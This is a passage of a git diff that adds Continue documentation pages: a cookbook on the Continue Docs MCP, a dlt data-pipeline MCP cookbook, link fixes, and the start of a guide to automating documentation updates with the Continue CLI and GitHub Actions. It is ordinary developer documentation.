+ See the [CONTRIBUTING guide](/CONTRIBUTING#option-2-create-your-own-custom-agent) for details.
+
+
+
+---
+
+## What is the Continue Docs MCP?
+
+
+ A Model Context Protocol server built with [Mintlify's MCP generation](https://www.mintlify.com/blog/generate-mcp-servers-for-your-docs) that enables semantic search across Continue documentation. [Learn more →](/reference/continue-mcp)
+
+
+The MCP helps you:
+- **Find examples** from existing documentation
+- **Maintain consistency** with established patterns
+- **Source accurate information** about Continue features
+- **Write better documentation** faster
+
+---
+
+## Documentation Workflows with Prompts
+
+### 🆕 Creating a New Cookbook
+
+Cookbooks show how to use Continue CLI with specific tools or services. Here's how to create one using the Continue Docs MCP:
+
+
+
+ ```bash
+ cn --config continuedev/docs-mintlify
+ ```
+
+ **Prompt:**
+ ```
+ "Show me the structure of existing MCP cookbooks in the Continue docs.
+ I want to create a cookbook for GitHub MCP."
+ ```
+
+ The agent will find examples like the dlt, Snyk, and Sanity cookbooks.
+
+
+
+ **Prompt:**
+ ```
+ "Using the Continue Docs MCP, find information about how GitHub MCP works.
+ Then search the web for the official GitHub MCP documentation and combine
+ both sources to create a cookbook following the same structure as the
+ dlt cookbook."
+ ```
+
+ The agent will:
+ - Search Continue docs for MCP patterns
+ - Fetch GitHub MCP official documentation
+ - Combine both sources
+ - Generate a cookbook with consistent formatting
+
+
+
+ **Prompt:**
+ ```
+ "Add my new github-mcp-continue-cookbook.mdx to the docs.json navigation
+ under the Cookbooks section."
+ ```
+
+
+
+ ```bash
+ npm run dev
+ # Visit http://localhost:3000
+ ```
+
+ **Refine with prompts:**
+ ```
+ "Add more examples to the troubleshooting section"
+ "Include a CI/CD workflow example using GitHub Actions"
+ "Add authentication setup using environment variables"
+ ```
+
+
+
+
+ **Pro Tip:** The agent uses the Continue Docs MCP to maintain consistency with existing cookbooks automatically.
+
+
+---
+
+### ✏️ Updating Existing Documentation
+
+
+
+ **Prompt:**
+ ```
+ "Where is the MCP tools documentation located? Show me the file path."
+ ```
+
+
+
+ **Prompt:**
+ ```
+ "Update the MCP tools documentation at docs/customization/mcp-tools.mdx
+ to include information about the new Slack MCP server. Use the Continue
+ Docs MCP to find examples of how other MCP servers are documented, then
+ add a similar section for Slack."
+ ```
+
+
+
+---
+
+### 📝 Adding New Guides
+
+
+
+ **Prompt:**
+ ```
+ "I want to create a guide for setting up Continue with Amazon Bedrock.
+ Search the Continue docs for similar model provider setup guides and
+ show me the common structure they follow."
+ ```
+
+
+
+ **Prompt:**
+ ```
+ "Create a new guide at docs/guides/amazon-bedrock-setup.mdx following
+ the structure you found. Include:
+ - Prerequisites
+ - Step-by-step setup with code examples
+ - Configuration options
+ - Troubleshooting common issues
+
+ Use the Continue Docs MCP to find accurate information about Continue's
+ model provider configuration."
+ ```
+
+
+
+ **Prompt:**
+ ```
+ "Add this guide to docs.json under the Model Providers section"
+ ```
+
+
+
+---
+
+## Real-World Cookbook Examples
+
+### Example 1: PostgreSQL MCP Cookbook
+
+**Prompt:**
+```
+"Create a cookbook for using Continue with PostgreSQL MCP. Follow the same
+structure as the dlt cookbook, but customize it for database operations.
+
+Include these sections:
+1. Quick start with pre-built agent
+2. Manual setup with MCP configuration
+3. Common database tasks (schema exploration, query writing, migrations)
+4. Troubleshooting database connection issues
+
+Use the Continue Docs MCP to find MCP configuration patterns and search the
+web for PostgreSQL MCP documentation."
+```
+
+### Example 2: Sentry Error Tracking Cookbook
+
+**Prompt:**
+```
+"Create a cookbook showing how to use Continue to analyze Sentry errors.
+
+The cookbook should demonstrate:
+1. Setting up Sentry MCP integration
+2. Querying recent errors
+3. Analyzing error patterns with AI
+4. Generating fixes for common errors
+5. CI/CD integration for automated error analysis
+
+Research the Snyk cookbook structure since it's also about error detection,
+and adapt it for Sentry."
+```
+
+### Example 3: OpenAPI Documentation Cookbook
+
+**Prompt:**
+```
+"I want to create a cookbook for using Continue to work with OpenAPI specs.
+
+Show how to:
+1. Load OpenAPI specs into Continue's context
+2. Generate API client code from specs
+3. Create tests based on API endpoints
+4. Update documentation when APIs change
+
+Use the Continue Docs MCP to find how context providers work, then combine
+that with OpenAPI MCP information."
+```
+
+---
+
+## Advanced Prompt Patterns
+
+
+
+ ```bash
+ "Use the Continue Docs MCP to understand how agents
+ work in Continue, then search the web for Anthropic's
+ Computer Use MCP. Create a cookbook showing how to
+ combine Continue agents with Computer Use for
+ automated testing."
+ ```
+
+
+
+ ```bash
+ "Find all mentions of MCP servers across Continue
+ documentation. Then create a comprehensive reference
+ page that links to all MCP-related guides and
+ configurations."
+ ```
+
+
+
+ ```bash
+ "Review all cookbook files in docs/guides/ and check
+ if they follow the same structure. List any
+ inconsistencies and suggest updates to make them
+ uniform."
+ ```
+
+
+
+ ```bash
+ "Extract all code examples showing MCP server
+ configuration from the Continue docs. Format them
+ as a single reference page with explanations for
+ each pattern."
+ ```
+
+
+
+---
+
+## Testing Your Documentation
+
+### Local Preview
+
+```bash
+cd docs
+npm run dev
+# Visit http://localhost:3000
+```
+
+### Validation Prompts
+
+```bash
+# Check formatting
+"Review this documentation for Mintlify formatting issues and fix any problems"
+
+# Verify links
+"Check all links in this file and ensure they point to existing documentation"
+
+# Test code examples
+"Verify that all code examples in this cookbook are syntactically correct"
+```
+
+---
+
+## Submitting Your Contribution
+
+**Prompt:**
+```bash
+"Create a pull request with my documentation changes and use the repo's
+PR template to write the description"
+```
+
+The agent will:
+- Create a feature branch
+- Stage and commit your changes
+- Push to your fork
+- Generate a PR description following the template
+- Open the PR for review
+
+
+ See the full [Contributing Guide](/CONTRIBUTING#submitting-your-contribution) for manual PR submission details.
+
+
+---
+
+## Automated Documentation Checks with GitHub Actions
+
+Add automated documentation checks to your PR workflow using the Continue Docs MCP agent:
+
+```yaml title=".github/workflows/docs-check.yml"
+name: Documentation Check
+
+on:
+ pull_request:
+ types: [opened, synchronize]
+ paths:
+ - 'core/**'
+ - 'extensions/**'
+ - 'packages/**'
+ - 'gui/**'
+
+jobs:
+ check-docs:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v4
+ with:
+ fetch-depth: 0
+
+ - name: Setup Node.js
+ uses: actions/setup-node@v4
+ with:
+ node-version: '20'
+
+ - name: Install Continue CLI
+ run: npm i -g @continuedev/cli
+
+ - name: Analyze Changes for Documentation Needs
+ id: analyze
+ env:
+ CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }}
+ run: |
+ echo "🔍 Analyzing code changes for documentation needs..."
+
+ # Get changed files
+ git diff origin/${{ github.base_ref }}..HEAD --name-only > changed_files.txt
+
+ # Create detailed diff
+ git diff origin/${{ github.base_ref }}..HEAD > changes.diff
+
+ # Use Continue agent to check if docs need updates
+ PROMPT="Review these code changes and determine if documentation updates are needed.
+
+ Changed files: $(cat changed_files.txt | tr '\n' ' ')
+
+ Consider:
+ - New features or APIs
+ - Breaking changes
+ - New configuration options
+ - Modified CLI commands
+ - New MCP integrations
+
+ If docs updates are needed, specify which files in docs/ should be updated.
+ If no updates needed, respond with 'NO_DOCS_NEEDED'.
+ Be specific and concise."
+
+ cn --config continuedev/docs-mintlify -p "$PROMPT" --auto > analysis.md || {
+ echo "⚠️ Analysis failed"
+ echo "needs_docs=false" >> $GITHUB_OUTPUT
+ exit 0
+ }
+
+ if grep -q "NO_DOCS_NEEDED" analysis.md; then
+ echo "needs_docs=false" >> $GITHUB_OUTPUT
+ else
+ echo "needs_docs=true" >> $GITHUB_OUTPUT
+ fi
+
+ - name: Post Documentation Recommendation
+ if: steps.analyze.outputs.needs_docs == 'true'
+ env:
+ GH_TOKEN: ${{ github.token }}
+ run: |
+ echo "📝 Creating PR comment with documentation recommendations..."
+
+ cat > pr-comment.md <<'EOF'
+## 📚 Documentation Update Recommended
+
+Based on the code changes in this PR, documentation updates may be needed:
+
+EOF
+
+ cat analysis.md >> pr-comment.md
+
+ cat >> pr-comment.md <<'EOF'
+
+---
+
+### Next Steps
+
+1. Review the suggested documentation areas above
+2. Update relevant files in the `/docs` folder
+3. Consider updating:
+ - API references for interface changes
+ - Guides for workflow changes
+ - Configuration docs for new settings
+ - MCP cookbooks for new integrations
+
+### Resources
+- [Contributing to Docs](/CONTRIBUTING)
+- [Continue Docs MCP Cookbook](/guides/continue-docs-mcp-cookbook)
+
+*This analysis was generated using the Continue Docs MCP agent.*
+EOF
+
+ gh pr comment ${{ github.event.pull_request.number }} --body-file pr-comment.md
+
+ - name: Add Label
+ if: steps.analyze.outputs.needs_docs == 'true'
+ env:
+ GH_TOKEN: ${{ github.token }}
+ run: |
+ gh pr edit ${{ github.event.pull_request.number }} --add-label "docs-needed"
+```
+
+
+ This workflow uses the Continue Docs MCP agent to analyze code changes and automatically comment on PRs when documentation updates are recommended.
+
+
+---
+
+## Documentation MCP for Other Projects
+
+Want to create documentation MCPs for your own projects? Mintlify makes it easy:
+
+
+
+ ```bash
+ npm i -g mintlify
+ mintlify init
+ ```
+
+
+
+ Mintlify automatically generates an MCP server for your documentation, enabling semantic search.
+
+ [Learn more about Mintlify MCP generation →](https://www.mintlify.com/blog/generate-mcp-servers-for-your-docs)
+
+
+
+ Share your docs MCP on [Continue Hub](https://hub.continue.dev/new?type=mcp) so others can use it with Continue agents.
+
+
+
+
+ The [Continue Docs MCP](/reference/continue-mcp) itself was built this way!
+
+
+---
+
+## Key Prompts Cheat Sheet
+
+| Task | Prompt |
+|:-----|:-------|
+| **Find structure** | "Show me the structure of existing cookbooks in Continue docs" |
+| **Create cookbook** | "Create a cookbook for [tool] MCP following the dlt cookbook structure" |
+| **Update docs** | "Update [file] to include information about [feature], using Continue Docs MCP to find examples" |
+| **Add navigation** | "Add [file] to docs.json under the [section] section" |
+| **Check consistency** | "Review this file for consistency with other Continue documentation" |
+| **Fix formatting** | "Review for Mintlify formatting issues and fix any problems" |
+| **Extract examples** | "Find all examples of [topic] in Continue docs" |
+| **Research feature** | "Use Continue Docs MCP to explain how [feature] works in Continue" |
+
+---
+
+## Resources
+
+### Continue Documentation
+- [Contributing Guide](/CONTRIBUTING) - Setup and submission process
+- [Continue Docs MCP Reference](/reference/continue-mcp) - MCP server details
+ - [Understanding Configs](/guides/understanding-configs) - How configs work
+
+### Mintlify
+- [MCP Generation Guide](https://www.mintlify.com/blog/generate-mcp-servers-for-your-docs)
+- [Mintlify Documentation](https://mintlify.com/docs)
+
+### Community
+- [Continue Discord](https://discord.gg/continue) - #documentation channel
+- [GitHub Discussions](https://github.com/continuedev/continue/discussions)
+
+---
+
+## Next Steps
+
+
+
+ Set up your environment
+
+
+
+ Install pre-built agent
+
+
+
+ See cookbook examples
+
+
+
+ Get help from community
+
+
diff --git a/docs/guides/continuous-ai.mdx b/docs/guides/continuous-ai.mdx
index bd88c2228..f37da48cb 100644
--- a/docs/guides/continuous-ai.mdx
+++ b/docs/guides/continuous-ai.mdx
@@ -39,7 +39,7 @@ You prompt the AI when you remember, and it completes the task. This is great fo
**Example**: Using AI to draft a function or suggest a test case only when you think to ask for it.
-**Continue Implementation**: Using [Chat](/features/chat/quick-start) or [Edit](/features/edit/quick-start) mode for one-off coding tasks.
+**Continue Implementation**: Using [Chat](/ide-extensions/chat/quick-start) or [Edit](/ide-extensions/edit/quick-start) mode for one-off coding tasks.
@@ -66,7 +66,7 @@ AI autonomously completes processes end-to-end without human input, but only for
- Automatic documentation updates when code changes
- Self-healing test suites that fix themselves based on failure patterns
-**Continue Implementation**: Fully automated [agents](/features/agent/quick-start) with strict permissions and safety guardrails.
+**Continue Implementation**: Fully automated [agents](/ide-extensions/agent/quick-start) with strict permissions and safety guardrails.
@@ -202,6 +202,6 @@ As AI capabilities continue to improve and tooling matures, we're moving toward
Ready to amplify your development workflow with Continuous AI? Start with one simple automation and build from there.
- Check out our guides on [Continue CLI](/guides/cli) and [Understanding
- Agents](/guides/understanding-agents).
+ Check out our guides on [Continue CLI](/guides/cli) and [Understanding
+ Configs](/guides/understanding-configs).
diff --git a/docs/guides/dlt-mcp-continue-cookbook.mdx b/docs/guides/dlt-mcp-continue-cookbook.mdx
new file mode 100644
index 000000000..9c0446881
--- /dev/null
+++ b/docs/guides/dlt-mcp-continue-cookbook.mdx
@@ -0,0 +1,456 @@
+---
+title: "Building Data Pipelines with dlt MCP and Continue"
+description: "Set up an AI-powered data engineering workflow that helps you develop, debug, and inspect dlt data pipelines using natural language commands."
+sidebarTitle: "dlt Data Pipelines with Continue"
+---
+
+
+ An AI-powered data pipeline development system that uses Continue's AI agent with dlt
+ MCP to inspect pipeline execution, retrieve schemas, analyze datasets, and debug load errors - all through simple natural language prompts
+
+
+## Prerequisites
+
+Before starting, ensure you have:
+
+- Continue account with **Hub access**
+ - Read: [Understanding Configs — How to get started with Hub configs](/guides/understanding-configs#how-to-get-started-with-hub-configs)
+- Python 3.8+ installed locally
+- A dlt pipeline project (or create one during this guide)
+- Basic understanding of data pipelines
+
+For all options, first:
+
+
+ ```bash
+ npm i -g @continuedev/cli
+ ```
+
+
+
+ ```bash
+ pip install dlt
+ ```
+
+
+
+ To use agents in headless mode, you need a [Continue API key](https://hub.continue.dev/settings/api-keys).
+
+
+## dlt MCP Workflow Options
+
+
+ Skip the manual setup and use our pre-built [dlt Agent](https://hub.continue.dev/continuedev/dlt-agent) that includes
+ the dlt MCP and optimized data pipeline workflows for more consistent results. You can [remix this agent](/guides/understanding-configs#how-to-get-started-with-hub-configs) to customize it for your specific needs.
+
+
+
+After ensuring you meet the **Prerequisites** above, you have two paths to get started:
+
+
+
+
+
+ Navigate to your pipeline project directory and run:
+ ```bash
+ cn --agent continuedev/dlt-agent
+ ```
+
+ This agent includes:
+ - **dlt MCP** pre-configured and ready to use
+ - **Pipeline-focused rules** for data engineering best practices
+
+
+
+ Start with a comprehensive pipeline check:
+ ```bash
+ # TUI mode
+ Inspect the execution of my dlt pipeline and summarize the load info, including timing and file sizes.
+ ```
+
+ That's it! The agent handles everything automatically.
+
+
+
+
+ **Why Use the Agent?** The pre-built [dlt Agent](https://hub.continue.dev/continuedev/dlt-agent) provides consistent pipeline development workflows and handles MCP configuration automatically, making it easier to get started with AI-powered data engineering. You can [remix and customize this agent](/guides/understanding-configs#how-to-get-started-with-hub-configs) later to fit your team's specific workflow.
+
+
+
+
+
+
+
+ Go to the [Continue Hub](https://hub.continue.dev) and [create a new agent](https://hub.continue.dev/new?type=agent).
+
+
+
+ Visit the [dlt MCP on Continue Hub](https://hub.continue.dev/dlthub/dlt-mcp) and click **Install** to add it to the agent you created in the step above.
+
+ This will add dlt MCP to your agent's available tools. The Hub listing automatically configures the MCP command.
+
+
+ **Alternative installation methods:**
+ 1. **Quick CLI install**: `cn --mcp dlthub/dlt-mcp`
+ 2. **Manual configuration**: Add the MCP to your `~/.continue/config.json` under the `mcpServers` section
+
+ Once installed, dlt MCP tools become available to your Continue agent for all prompts.
+
+
+
+ The MCP will work with your existing dlt pipelines in your current directory.
+
+
+
+
+
+ Start with a comprehensive pipeline check:
+ ```bash
+ # TUI mode
+ cn
+ # Then type: Inspect the execution of my dlt pipeline and summarize the load info, including timing and file sizes.
+ ```
+
+
+
+
+
+
+
+ To use the pre-built [dlt Agent](https://hub.continue.dev/continuedev/dlt-agent), you need either:
+ - **Continue CLI Pro Plan** with the models add-on, OR
+ - **Your own API keys** added to Continue Hub secrets (same as manual setup)
+
+ The agent will automatically detect and use your configuration along with the pre-configured dlt MCP for pipeline operations.
+
+
+
+---
+
+## dlt MCP vs dlt+ MCP
+
+
+ **dlt MCP** is focused on local pipeline development and inspection. It provides tools to:
+ - Inspect pipeline execution and load information
+ - Retrieve schema metadata from your local pipelines
+ - Query dataset records from destination databases
+ - Analyze load errors, timings, and file sizes
+
+ **[dlt+ MCP](https://hub.continue.dev/dlthub/dlt-plus-mcp)** extends these capabilities with cloud-based features for production deployments:
+ - Connect to dlt+ Projects and manage deployments
+ - Monitor pipeline runs across multiple environments
+ - Access centralized logging and observability
+ - Collaborate with team members on pipeline development
+
+ For local development and getting started, **[dlt MCP](https://hub.continue.dev/dlthub/dlt-mcp)** is the right choice. Consider **[dlt+ MCP](https://hub.continue.dev/dlthub/dlt-plus-mcp)** when you need production deployment features and team collaboration.
+
+
+---
+
+## Pipeline Development Recipes
+
+Now you can use natural language prompts to develop and debug your dlt pipelines. The Continue agent automatically calls the appropriate dlt MCP tools.
+
+
+You can add prompts to your agent's configuration for easy access in future sessions. Go to your agent in the [Continue Hub](https://hub.continue.dev), click **Edit**, and add prompts under the **Prompts** section.
+
+
+
+ **Where to run these workflows:**
+ - **IDE Extensions**: Use Continue in VS Code, JetBrains, or other supported IDEs
+ - **Terminal (TUI mode)**: Run `cn` to enter interactive mode, then type your prompts
+ - **CLI (headless mode)**: Use `cn -p "your prompt"` for headless commands
+
+ **Test in Plan Mode First**: Before running pipeline operations that might make
+ changes, test your prompts in plan mode (see the [Plan Mode
+ Guide](/guides/plan-mode-guide); press **Shift+Tab** to switch modes in TUI/IDE). This
+ shows you what the agent will do without executing it.
+
+ To run any of the example prompts below in headless mode, use `cn -p "prompt"`
+
+
+
+
+ **About the --auto flag**: The `--auto` flag enables tools to run continuously without manual confirmation. This is essential for headless mode where the agent needs to execute multiple tools automatically to complete tasks like pipeline inspection, schema retrieval, and error analysis.
+
+
+
+### Pipeline Inspection
+
+
+ Review pipeline execution details including load timing and file sizes.
+
+**Prompt:**
+```
+Inspect my dlt pipeline execution and provide a summary of the load info.
+Show me the timing breakdown and file sizes for each table.
+```
+
+
+
+### Schema Management
+
+
+ Get detailed schema information for your pipeline's tables.
+
+**Prompt:**
+```
+Show me the schema for my users table including all columns,
+data types, and any constraints.
+```
+
+
+
+### Data Exploration
+
+
+ Retrieve and analyze records from your destination database.
+
+**Prompt:**
+```
+Get the last 10 records from my orders table and show me
+the distribution of order statuses.
+```
+
+
+
+### Error Debugging
+
+
+ Investigate and understand pipeline load errors.
+
+**Prompt:**
+```
+Check for any load errors in my last pipeline run. If there are errors,
+explain what went wrong and suggest fixes.
+```
+
+
+
+### Pipeline Creation
+
+
+ Create a new dlt pipeline from an API or data source.
+
+**Prompt:**
+```
+Help me create a new dlt pipeline that loads data from the
+JSONPlaceholder API users endpoint into DuckDB.
+```
+
+
+
+### Schema Evolution
+
+
+ Review and manage schema evolution in your pipelines.
+
+**Prompt:**
+```
+Check if my pipeline schema has evolved since the last run.
+Show me what columns were added or modified.
+```
+
+
+
+## Continuous Data Pipelines with GitHub Actions
+
+ This example demonstrates a **Continuous AI workflow** where data pipeline validation runs automatically in your CI/CD pipeline in headless mode using the [dlt Assistant agent](https://hub.continue.dev/dlthub/dlt-assistant). Consider [remixing this agent](/guides/understanding-configs#how-to-get-started-with-hub-configs) to add your organization's specific validation rules.
+
+### Add GitHub Secrets
+
+Navigate to **Repository Settings → Secrets and variables → Actions** and add:
+
+- `CONTINUE_API_KEY`: Your Continue API key from [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys)
+- Any required database credentials for your destination
+
+
+ The workflow uses the pre-built [dlt Agent](https://hub.continue.dev/continuedev/dlt-agent) with `--agent continuedev/dlt-agent`. This agent comes pre-configured with the dlt MCP and optimized rules for pipeline operations. You can [remix this agent](/guides/understanding-configs#how-to-get-started-with-hub-configs) to customize the validation rules and prompts for your specific pipeline requirements.
+
+
+### Create Workflow File
+
+This workflow automatically validates your dlt data pipelines on pull requests using the Continue CLI in [headless mode](/cli/overview#headless-mode%3A-production-automation). It inspects pipeline schemas, checks for errors, and posts a summary report as a PR comment. The workflow can also be triggered manually via `workflow_dispatch`.
+
+Create `.github/workflows/dlt-pipeline-validation.yml` in your repository:
+
+```yaml
+name: Data Pipeline Validation with dlt MCP
+
+on:
+ pull_request:
+ branches: [main]
+ workflow_dispatch:
+
+jobs:
+ validate-pipeline:
+ runs-on: ubuntu-latest
+ env:
+ CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }}
+
+ steps:
+ - uses: actions/checkout@v4
+
+ - name: Set up Python
+ uses: actions/setup-python@v5
+ with:
+ python-version: "3.11"
+
+ - name: Set up Node.js
+ uses: actions/setup-node@v4
+ with:
+ node-version: "18"
+
+ - name: Install dlt
+ run: |
+ pip install dlt
+ echo "✅ dlt installed"
+
+ - name: Install Continue CLI
+ run: |
+ npm install -g @continuedev/cli
+ echo "✅ Continue CLI installed"
+
+ - name: Validate Pipeline Schema
+ run: |
+ echo "🔍 Validating pipeline schema..."
+ cn --agent continuedev/dlt-agent \
+ -p "Inspect the pipeline schema and verify all required tables
+ and columns are present. Flag any missing or unexpected changes." \
+ --auto
+
+ - name: Check Pipeline Health
+ run: |
+ echo "📊 Checking pipeline health..."
+ cn --agent continuedev/dlt-agent \
+ -p "Analyze the last pipeline run for errors or warnings.
+ Report any issues that need attention." \
+ --auto
+
+ - name: Comment Pipeline Report on PR
+ if: always() && github.event_name == 'pull_request'
+ env:
+ GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+ run: |
+ REPORT=$(cn --agent continuedev/dlt-agent \
+ -p "Generate a concise summary (200 words or less) of:
+ - Pipeline schemas and row counts
+ - Any load errors or warnings
+ - Performance metrics (timing, file sizes)
+ - Recommended improvements" \
+ --auto)
+
+ gh pr comment ${{ github.event.pull_request.number }} --body "$REPORT"
+```
+
+
+ The dlt MCP works with your local pipeline state. Make sure your CI environment
+ has access to the necessary pipeline configuration and credentials.
+
+
+## Pipeline Development Best Practices
+
+Implement automated pipeline quality checks using Continue's rule system. See the [Rules deep dive](/customize/deep-dives/rules) for authoring tips.
+
+
+ ```bash
+ "Before committing pipeline changes, verify the schema
+ matches expectations and flag any unexpected modifications."
+ ```
+
+
+
+ ```bash
+ "When load errors occur, analyze the error details and
+ suggest specific code fixes to handle the data issues."
+ ```
+
+
+
+ ```bash
+ "Track pipeline execution times and file sizes. Alert if
+ performance degrades significantly from baseline."
+ ```
+
+
+
+ ```bash
+ "After each pipeline run, validate row counts and check for
+ null values in critical columns."
+ ```
+
+
+## Troubleshooting
+
+### Pipeline Not Found
+
+```bash
+"Check if there's a dlt pipeline in the current directory.
+If not, help me initialize a new pipeline."
+```
+
+### Destination Connection Issues
+
+```bash
+"Verify the destination connection and credentials for my pipeline.
+Test the connection and report any issues."
+```
+
+### Schema Inference Problems
+
+
+ **Verification Steps:**
+ - dlt MCP is installed via [Continue Hub](https://hub.continue.dev/dlthub/dlt-mcp)
+ - Pipeline directory is accessible
+ - Destination database credentials are configured
+ - Pipeline has been run at least once
+
+
+## What You've Built
+
+After completing this guide, you have a complete **AI-powered data pipeline development system** that:
+
+✅ Uses natural language — Simple prompts instead of complex pipeline commands
+✅ Debugs automatically — AI analyzes errors and suggests fixes
+✅ Runs continuously — Automated validation in CI/CD pipelines
+✅ Ensures quality — Pipeline checks prevent bad data from shipping
+
+
+ Your data pipeline workflow now operates at **[Level 2 Continuous
+ AI](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)** -
+ AI handles routine pipeline inspection and debugging with human oversight
+ through review and approval of changes.
+
+
+## Next Steps
+
+1. **Inspect your first pipeline** - Try the pipeline inspection prompt on your current project
+2. **Debug load errors** - Use the error analysis prompt to fix any issues
+3. **Set up CI pipeline** - Add the GitHub Actions workflow to your repo
+4. **Create new pipelines** - Use AI to scaffold new data sources
+5. **Monitor performance** - Track pipeline execution metrics over time
+
+## Additional Resources
+
+
+
+ Complete dlt platform documentation
+
+
+ Explore more MCP integrations and agents
+
+
+ Learn about AI assistants, MCP, and Continue integration
+
+
+ Deep dive into dlt MCP integration
+
+
\ No newline at end of file
diff --git a/docs/guides/doc-writing-agent-cli.mdx b/docs/guides/doc-writing-agent-cli.mdx
new file mode 100644
index 000000000..46dc81ef1
--- /dev/null
+++ b/docs/guides/doc-writing-agent-cli.mdx
@@ -0,0 +1,361 @@
+---
+title: "Automating Documentation Updates with Continue CLI"
+sidebarTitle: "Automating Documentation Updates with Continue CLI"
+description: "Learn how to create automated documentation generation workflows using Continue CLI. Set up AI agents to analyze code changes and generate or update documentation automatically in GitHub workflows or local development."
+---
+
+
+
+# Getting Started
+
+This guide demonstrates how to create automated documentation generation based on code updates in a git branch using the Continue CLI, either as part of your local workflow or as part of a GitHub workflow.
+
+This process utilizes the **Continue CLI** (`cn`) in **headless mode** to analyze changes and generate the necessary documentation, and commit and push the changes. The goal is to keep the workflow as simple as possible by using straightforward shell commands, Continue CLI prompts, and basic git operations.
+
+## Why Use Continue CLI for Documentation?
+
+
+
+ AI agents understand your codebase and documentation patterns, analyzing git diffs to identify what needs documenting.
+
+
+
+ Integrate seamlessly into CI/CD pipelines or local development workflows with minimal setup.
+
+
+
+ Agents can read files, explore projects, and access Git history to generate accurate, relevant documentation.
+
+
+
+ Restrict agent actions to specific files and operations, ensuring safe automated documentation updates.
+
+
+
+## Prerequisites
+
+
+
+ Continue CLI requires Node.js 18 or higher. Install globally with:
+ ```bash
+ npm i -g @continuedev/cli
+ ```
+
+
+
+ Get your API key from [Continue Hub](https://hub.continue.dev/settings/api-keys) and set:
+ ```bash
+ export CONTINUE_API_KEY=your_key_here
+ ```
+
+ You can use the Continue CLI in headless mode without interactive login by setting the `CONTINUE_API_KEY` environment variable.
+
+
+
+
+ A project with code and documentation, or use an open-source project to experiment with the workflow.
+
+
+
+# Documentation Generation Workflow
+
+## Workflow Overview
+
+The documentation generation process follows these sequential steps:
+
+
+
+ Validate environment, install Continue CLI, and set up authentication with API keys.
+
+
+
+ Generate git diff context and analyze code changes between branches to identify new functionality.
+
+
+
+ Create a dedicated documentation branch following the pattern `{original-branch}-docs-update-{timestamp}`.
+
+
+
+ Use Continue CLI with custom rules to analyze changes and generate or update documentation files.
+
+ Use an agent configuration with rules specific for documentation writing in your project and fine-tune it to work for your team's standards.
+
+
+
+
+ Review generated documentation, commit changes to the docs directory, and push to origin.
+
+
+
+ Remove temporary files and output completion summary with branch information.
+
+
+
+
+
+## Implementation
+
+
+
+
+### GitHub Actions Implementation
+
+
+This example uses a manual workflow dispatch that requires two inputs: the repository name and the branch containing your code changes. This is helpful when you want to generate documentation for a feature branch before creating a pull request.
+
+
+**Required Inputs:**
+- **repository:** The repository you are operating on (format: `owner/repo`)
+- **branch_name:** The name of the branch you have code changes on and want to generate documentation for
+- **continue_config:** The Continue agent configuration to use
+ - Consider setting a default value if you have a default config your'd like to use
+- **continue_org:** The Continue org to use
+ - Consider setting a default value if you have a default org your'd like to use
+
+
+```yaml title=".github/workflows/generate-docs.yml"
+name: Generate Docs for Branch
+
+on:
+ workflow_dispatch:
+ inputs:
+ repository:
+ description: 'Repository (owner/repo)'
+ required: true
+ default: 'owner/repo'
+ branch_name:
+ description: 'Branch name to generate docs for'
+ required: true
+ continue_config:
+ description: 'Continue agent configuration to use'
+ required: true
+ # Set a default value if you have a default config your'd like to use
+ # default: 'agent-config-name'
+ continue_org:
+ description: 'Continue org to use'
+ required: true
+ # Set a default value if you have a default org your'd like to use
+ # default: 'your-org-name'
+
+jobs:
+ write-docs:
+ runs-on: ubuntu-latest
+ name: Write Documentation for Branch
+ env:
+ CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }}
+ CONTINUE_ORG: ${{ github.event.inputs.continue_org }}
+ CONTINUE_CONFIG: ${{ github.event.inputs.continue_config }}
+
+ steps:
+
+ - name: Checkout fork repository
+ uses: actions/checkout@v4
+ with:
+ repository: ${{ github.event.inputs.repository || 'owner/repo' }}
+ token: ${{ secrets.GH_PAT }}
+ fetch-depth: 0 # Full history needed for sync
+
+ - name: Setup git configuration
+ run: |
+ git config user.name "github-actions[doc-writer-bot]"
+ git config user.email "yourname@email.com"
+
+ - name: Checkout target branch
+ run: |
+ git fetch origin ${{ github.event.inputs.branch_name }}
+ git checkout ${{ github.event.inputs.branch_name }}
+
+ - name: Setup Node.js
+ uses: actions/setup-node@v4
+ with:
+ node-version: '18'
+
+ - name: Install Continue CLI
+ run: |
+ echo "Installing Continue CLI..."
+ npm i -g @continuedev/cli
+
+ - name: Verify Continue CLI installation
+ run: |
+ echo "Checking Continue CLI version..."
+ cn --version || exit 1
+
+ - name: Set branch name
+ id: branch
+ run: |
+ BRANCH_NAME="${{ github.event.inputs.branch_name }}-docs-update-$(date +%Y-%m-%d-%H-%M-%S)"
+ echo "branch_name=$BRANCH_NAME" >> $GITHUB_OUTPUT
+ echo "Branch name: $BRANCH_NAME"
+
+ - name: Generate git diff context
+ run: |
+ echo "Git changes:" > context.txt
+ git diff origin/main..HEAD --stat >> context.txt
+ echo -e "\n\nFile list:" >> context.txt
+ git diff origin/main..HEAD >> context.txt
+ echo "Generated context file:"
+ cat context.txt
+
+ - name: Create documentation branch
+ run: |
+ echo "Creating branch: ${{ steps.branch.outputs.branch_name }}"
+ git checkout -b "${{ steps.branch.outputs.branch_name }}"
+
+ - name: Generate documentation with Continue CLI
+ run: |
+ echo "Running Continue agent to generate documentation..."
+ cn --config / \
+ --auto \
+ --allow Write \
+ -p \
+ --prompt ./context.txt \
+ "Analyze the provided git diff and identify any new functionality introduced. Summarise the new features in a few sentences. Then search the existing documentation in the site docs/ directory to determine whether these features are already documented in a way that enables users to use them. If documentation is missing or incomplete, create or modify Markdown files under the site diretory (without changing any code) to add clear explanations, usage instructions and examples for the new features in the same style and format as the existing documentation. Finally, print a brief summary of the documentation changes you made."
+
+ - name: Clean up temporary files
+ run: rm -f context.txt
+
+ - name: Commit and push documentation changes
+ run: |
+ echo "Review git status..."
+ git status
+
+ echo "Adding files edited in site directory to git..."
+ git add site/
+
+ echo "Committing changes..."
+ git commit -s -m "docs: update for new functionality from branch ${{ github.event.inputs.branch_name }}"
+
+ echo "Pushing changes to origin..."
+ git push --set-upstream origin "${{ steps.branch.outputs.branch_name }}"
+
+```
+
+
+
+
+### Local Development Implementation
+
+
